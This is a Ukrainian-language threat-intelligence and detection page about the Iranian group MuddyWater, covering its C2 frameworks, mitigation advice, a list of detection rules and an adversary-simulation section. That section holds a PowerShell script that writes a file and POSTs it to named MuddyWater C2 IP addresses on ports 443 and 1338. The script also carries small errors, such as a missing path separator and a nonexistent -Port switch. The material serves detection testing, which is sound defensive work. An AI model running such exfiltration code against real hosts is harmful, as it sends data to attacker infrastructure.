MuddyWater викрито: всередині операції іранської APT
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Дослідники ідентифікували набір вторгнень MuddyWater (Static Kitten), який комбінував кілька спеціальних C2 фреймворків з опортуністичною експлуатацією численних вразливостей, що виходять в інтернет, і масштабним розпиленням облікових даних. Оператори поєднали інструменти для розвідки, початкового доступу та крадіжки даних для компрометації цілей на Близькому Сході, в Європі та Сполучених Штатах.
Розслідування
Слідчі захопили відкриту інфраструктуру з VPS в Нідерландах і вилучили виконувані файли для трьох спеціально створених C2-серверів: KeyC2, PersianC2 та ArenaC2. Вони також відновили допоміжні інструменти, включаючи завантажувачі на базі PowerShell та корисні навантаження Node.js, які використовувалися для підготовки та виконання. Діяльність включала широке сканування загальнодоступних CVE з подальшою експлуатацією і включала смарт-контракти блокчейну як механізм для динамічного вирішення або оновлення кінцевих точок C2.
Пом’якшення
Пріоритезуйте усунення вказаних CVE та зменшіть поверхню атаки шляхом посилення та обмеження доступу до загальнодоступних сервісів. Блокуйте або суворо обмежуйте невідомий вихідний UDP-трафік на порту 1269 та моніторьте артефакти виконання, пов’язані з нестандартними C2-виконуваними файлами та їх характерними командними патернами. Впроваджуйте найменший привілей для VPN та адміністративних облікових записів на мережевих пристроях та підвищуйте покриття виявлення для аномальної поведінки PowerShell та зашифрованих вихідних сесій з незнайомою IP-простором.
Реакція
Якщо виявлено індикатори, ізолюйте уражені системи, збережіть артефакти пам’яті та диска та негайно заблокуйте виявлені C2 домени/IP-адреси. Виконайте судову тріаж вилучених завантажувачів і сценаріїв Node.js для оцінки виконання і стійкості. Усувайте всі експлуатовані вразливості та замінюйте будь-які облікові дані, які могли бути розкриті через спрей або крадіжку.
Потік атак
Виявлення
Коротке ім’я файлу (через cmdline)
Перегляд
Підозрілі файли в загальнодоступному профілі користувача (через file_event)
Перегляд
Можливий витік даних за допомогою інструмента Rclone (через cmdline)
Перегляд
Підозріле виконання з загальнодоступного профілю користувача (через process_creation)
Перегляд
Виклик підозрілих методів .NET з Powershell (через powershell)
Перегляд
Виконання NodeJS з незвичайного розташування (через cmdline)
Перегляд
Можливе використання тунелювання інструмента [Windows] (через cmdline)
Перегляд
Завантажувач PowerShell і витік даних через WebClient [Windows Powershell]
Перегляд
Виявлення спреювання паролів MuddyWater та SMTP брутфорс [Windows Process Creation]
Перегляд
Виявлення експлуатації та витоку даних MuddyWater Fortinet [Firewall]
Перегляд
Симуляція виконання
Попередня умова: Телеметрія і перевірка початкового стану повинні були пройдені.
Раціоналізація: У цьому розділі детально описується точне виконання техніки супротивника (TTP), призначеної для спрацювання правила виявлення. Команди і наративи ПОВИННІ безпосередньо відображати ідентифіковані TTP і мати на меті генерувати точну телеметрію, яка очікується від логіки виявлення.
-
Оповідання про атаку і команди:
-
Розвідка та збереження даних: Атакуючий перераховує локальні файли (
T1005) і записує невелике корисне навантаження (secret.txt) на робочу станцію. -
Налаштування комунікації C2: За допомогою PowerShell (
T1059.001), атакуючий створює HTTPS POST до сервера MuddyWater C2194.11.246.101на порту 443, вбудовуючи підготовлені дані. -
Альтернативний канал (нестандартний порт): Щоб уникнути простих правил на основі портів, атакуючий повторює витік через порт 1338, використовуючи
Invoke-WebRequestз перемикачем-Port(PowerShell 7+). -
Необов’язкове підключення проксі: Запит передається через зовнішній проксі (
T1090.002), але кінцевий IP-адрес залишається хостом MuddyWater, що забезпечує, що файрвол веде логі злочинногоdst_ip.
-
Розвідка та збереження даних: Атакуючий перераховує локальні файли (
-
Сценарій регресивного тестування:
# Сімулірування витоку MuddyWater – PowerShell # ------------------------------------------------ # Крок 1: Створення підроблених даних $dataPath = "$env:TEMPsecret.txt" "Чутливі дані $(Get-Date)" | Out-File -FilePath $dataPath -Encoding UTF8 # Крок 2: Визначення кінцевих точок C2 $c2Ips = @('194.11.246.101','18.223.24.218') $c2Ports = @(443,1338) # Крок 3: Завантаження через HTTPS (порт 443) foreach ($ip in $c2Ips) { $uri = "https://$ip/upload" Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue } # Крок 4: Завантаження через спеціальний порт 1338 (вимагається PowerShell 7+) foreach ($ip in $c2Ips) { $uri = "http://$ip:1338/upload" Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue } # Крок 5: Очищення Remove-Item -Path $dataPath -Force -
Команди очищення:
# Видалення всіх підозрілих мережевих підключень (Windows) Get-NetTCPConnection -RemoteAddress 194.11.246.101,18.223.24.218 | Where-Object { $_.State -eq 'Established' } | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Видалення тимчасових файлів (перезапустіть, якщо потрібно) $tempFile = "$env:TEMPsecret.txt" if (Test-Path $tempFile) { Remove-Item $tempFile -Force }